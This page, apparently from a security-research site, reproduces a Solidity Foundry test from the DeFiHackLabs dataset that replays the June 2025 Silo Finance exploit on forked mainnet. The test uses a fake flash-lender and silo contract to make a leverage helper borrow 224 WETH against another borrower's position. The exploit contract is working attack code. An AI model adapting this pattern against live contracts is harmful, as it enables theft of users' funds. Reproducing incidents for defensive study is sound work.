Public reproduction file
src/test/2025-06/SiloFinance_exp.sol
Public reproduction file for dataset entry SiloFinance.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 500,000+ USD8// Attacker : 0x04377cfaf4b4a44bb84042218cdda4cebcf8fd629// Attack Contract : 0x79c5c002410a67ac7a0cde2c2217c3f560859c7e10// Vulnerable Contract : 0x160287e2d3fdcde9e91317982fc1cc01c1f9408511// Attack Tx : https://etherscan.io/tx/0x1f15a193db3f44713d56c4be6679b194f78c2bcdd2ced5b0c7495b7406f5e87a12//13// @Info14// Vulnerable Contract Code : https://etherscan.io/address/0x160287e2d3fdcde9e91317982fc1cc01c1f94085#code15//16// @Analysis17// Telegram Alert : https://t.me/defimon_alerts/135618//19// Attack summary: the attacker called the public Silo leverage helper with a contract that pretended20// to be the flash lender, the collateral silo, and the collateral token. During the fake flash-loan21// callback, the fake lender supplied new swap data that made the helper call the real WETH silo as an22// arbitrary exchange proxy.23// Root cause: the leverage helper trusted user supplied swap targets and Silo-like targets without24// constraining them to the selected Silo market. Any borrower that had granted the helper debt receive25// approval could therefore be borrowed against by routing a swap callback into `Silo.borrow`.27address constant ATTACKER = 0x04377cfaF4b4A44bb84042218cdDa4cEBCf8fd62;28address constant HISTORICAL_ATTACK_CONTRACT = 0x79C5c002410A67Ac7a0cdE2C2217c3f560859c7e;29address constant SILO_LEVERAGE_HELPER = 0xCbEe4617ABF667830fe3ee7DC8d6f46380829DF9;30address constant WETH_SILO = 0x160287E2D3fdCDE9E91317982fc1Cc01C1f94085;31address constant COLLATERAL_BORROWER = 0x60BAF994f44dd10c19C0c47cbFE6048a4fFe4860;32address constant WETH_TOKEN = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;34uint256 constant BORROW_AMOUNT = 224 ether;35uint256 constant HISTORICAL_DEBT_SHARES = 223_975_555_653_555_068_856;37interface ISilo1356 {38 function borrow(uint256 assets, address receiver, address borrower) external returns (uint256 shares);39}41interface IERC3156FlashBorrower1356 {42 function onFlashLoan(address initiator, address token, uint256 amount, uint256 fee, bytes calldata data)43 external44 returns (bytes32);45}47interface ILeverageHelper1356 {48 struct FlashArgs {49 address flashloanTarget;50 uint256 amount;51 }53 struct DepositArgs {54 address silo;55 uint256 amount;56 uint8 collateralType;57 }59 function openLeveragePosition(60 FlashArgs calldata flashArgs,61 bytes calldata swapArgs,62 DepositArgs calldata depositArgs63 ) external payable;64}66contract ContractTest is BaseTestWithBalanceLog {67 function setUp() public {68 vm.createSelectFork("mainnet", 22_781_961);69 vm.roll(22_781_962);70 vm.warp(0x685c038b);72 fundingToken = WETH_TOKEN;73 attacker = ATTACKER;75 vm.label(ATTACKER, "Attacker");76 vm.label(HISTORICAL_ATTACK_CONTRACT, "Historical attack contract");77 vm.label(SILO_LEVERAGE_HELPER, "Silo leverage helper");78 vm.label(WETH_SILO, "WETH Silo");79 vm.label(COLLATERAL_BORROWER, "Collateral borrower");80 vm.label(WETH_TOKEN, "WETH");81 }83 function testExploit() public balanceLog {84 uint256 attackerWethBefore = IERC20(WETH_TOKEN).balanceOf(ATTACKER);86 SiloFinanceAttack attack = new SiloFinanceAttack(ATTACKER);88 vm.prank(ATTACKER);89 uint256 debtShares = attack.execute();91 assertEq(IERC20(WETH_TOKEN).balanceOf(ATTACKER) - attackerWethBefore, BORROW_AMOUNT);92 assertEq(debtShares, HISTORICAL_DEBT_SHARES);93 }94}96contract SiloFinanceAttack {97 struct SwapArgs {98 address exchangeProxy;99 address sellToken;100 address buyToken;101 address allowanceTarget;102 bytes swapCallData;103 }105 address private immutable profitReceiver;106 uint256 public debtShares;108 constructor(109 address receiver110 ) {111 profitReceiver = receiver;112 }114 function execute() external returns (uint256) {115 ILeverageHelper1356.FlashArgs memory flashArgs =116 ILeverageHelper1356.FlashArgs({flashloanTarget: address(this), amount: 0});117 ILeverageHelper1356.DepositArgs memory depositArgs =118 ILeverageHelper1356.DepositArgs({silo: address(this), amount: 0, collateralType: 1});120 ILeverageHelper1356(SILO_LEVERAGE_HELPER).openLeveragePosition(flashArgs, bytes(""), depositArgs);122 return debtShares;123 }125 function flashLoan(126 IERC3156FlashBorrower1356 receiver,127 address token,128 uint256 amount,129 bytes calldata130 ) external returns (bool) {131 require(msg.sender == SILO_LEVERAGE_HELPER, "unexpected helper");132 require(token == address(this) && amount == 0, "unexpected flash args");134 SwapArgs memory swapArgs = SwapArgs({135 exchangeProxy: WETH_SILO,136 sellToken: address(this),137 buyToken: address(this),138 allowanceTarget: address(this),139 swapCallData: abi.encodeWithSelector(140 ISilo1356.borrow.selector, BORROW_AMOUNT, profitReceiver, COLLATERAL_BORROWER141 )142 });144 ILeverageHelper1356.DepositArgs memory depositArgs =145 ILeverageHelper1356.DepositArgs({silo: address(this), amount: 0, collateralType: 1});147 bytes32 callbackResult = receiver.onFlashLoan({148 initiator: address(this),149 token: address(this),150 amount: 0,151 fee: 0,152 data: abi.encode(abi.encode(swapArgs), depositArgs)153 });154 require(callbackResult == keccak256("ERC3156FlashBorrower.onFlashLoan"), "callback failed");156 return true;157 }159 function asset() external view returns (address) {160 return address(this);161 }163 function config() external view returns (address) {164 return address(this);165 }167 function getSilos() external view returns (address silo0, address silo1) {168 return (address(this), address(this));169 }171 function balanceOf(172 address account173 ) external view returns (uint256) {174 if (account == SILO_LEVERAGE_HELPER) return 1;175 return 0;176 }178 function allowance(address, address) external pure returns (uint256) {179 return 0;180 }182 function approve(address, uint256) external pure returns (bool) {183 return true;184 }186 function transferFrom(address, address, uint256) external pure returns (bool) {187 return true;188 }190 function deposit(uint256 assets, address receiver, uint8 collateralType) external pure returns (uint256 shares) {191 require(assets == 1 && receiver != address(0) && collateralType == 1, "unexpected fake deposit");192 return 0;193 }195 function borrow(uint256 assets, address receiver, address borrower) external returns (uint256 shares) {196 require(assets == 0 && receiver == SILO_LEVERAGE_HELPER && borrower == address(this), "unexpected fake borrow");197 debtShares = HISTORICAL_DEBT_SHARES;198 return 0;199 }200}Analysis
Dataset entry
Public Foundry test for “SiloFinance” (2025-06-25). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-06/AAVEBoost_exp.solSame month in the dataset · 78 lines
- src/test/2025-06/BankrollNetwork_exp.solSame month in the dataset · 84 lines
- src/test/2025-06/BankrollStack_exp.solSame month in the dataset · 65 lines
- src/test/2025-06/BankrollStackPlus_exp.solSame month in the dataset · 168 lines
- src/test/2025-06/BasePricePool_exp.solSame month in the dataset · 135 lines
- src/test/2025-06/BitCrown_exp.solSame month in the dataset · 96 lines
- src/test/2025-06/FixedTokenBSwap_exp.solSame month in the dataset · 158 lines
- src/test/2025-06/Gangsterfinance_exp.solSame month in the dataset · 68 lines
- src/test/2025-06/GradientMakerPool_exp.solSame month in the dataset · 113 lines
- src/test/2025-06/HoldSafe_exp.solSame month in the dataset · 176 lines
- src/test/2025-06/InitcodeFactoryFees_exp.solSame month in the dataset · 233 lines
- src/test/2025-06/MetaPool_exp.solSame month in the dataset · 151 lines
- src/test/2025-06/ParaSwapDAIApproval_exp.solSame month in the dataset · 201 lines
- src/test/2025-06/PegaBall_exp.solSame month in the dataset · 104 lines
- src/test/2025-06/ResupplyFi_exp.solSame month in the dataset · 138 lines
- src/test/2025-06/SinstakeZombie_exp.solSame month in the dataset · 138 lines
- src/test/2025-06/Stead_exp.solSame month in the dataset · 39 lines
- src/test/2025-06/TokenFactory_exp.solSame month in the dataset · 126 lines
- src/test/2025-06/TokenVault_exp.solSame month in the dataset · 130 lines
- src/test/2025-06/TSAggregatorGeneric_exp.solSame month in the dataset · 111 lines
- src/test/2025-06/unverified_8490_exp.solSame month in the dataset · 108 lines
- src/test/2025-06/unverified_b5cb_exp.solSame month in the dataset · 115 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x04377cfaf4b4a44bb84042218cdda4cebcf8fd62
- Attack Contract
0x79c5c002410a67ac7a0cde2c2217c3f560859c7e
- Vulnerable Contract
0x160287e2d3fdcde9e91317982fc1cc01c1f94085
- Attack Tx
0x1f15a193db3f44713d56c4be6679b194f78c2bcdd2ced5b0c7495b7406f5e87a
File record
- Name
- SiloFinance
- Path
- src/test/2025-06/SiloFinance_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 55520474d81b8152d1b33b70510a87d9d74bb614
- Language
- Solidity
- Size
- 201 lines
- Date
- 2025-06-25
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-06/SiloFinance_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 55520474d81b8152d1b33b70510a87d9d74bb614, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.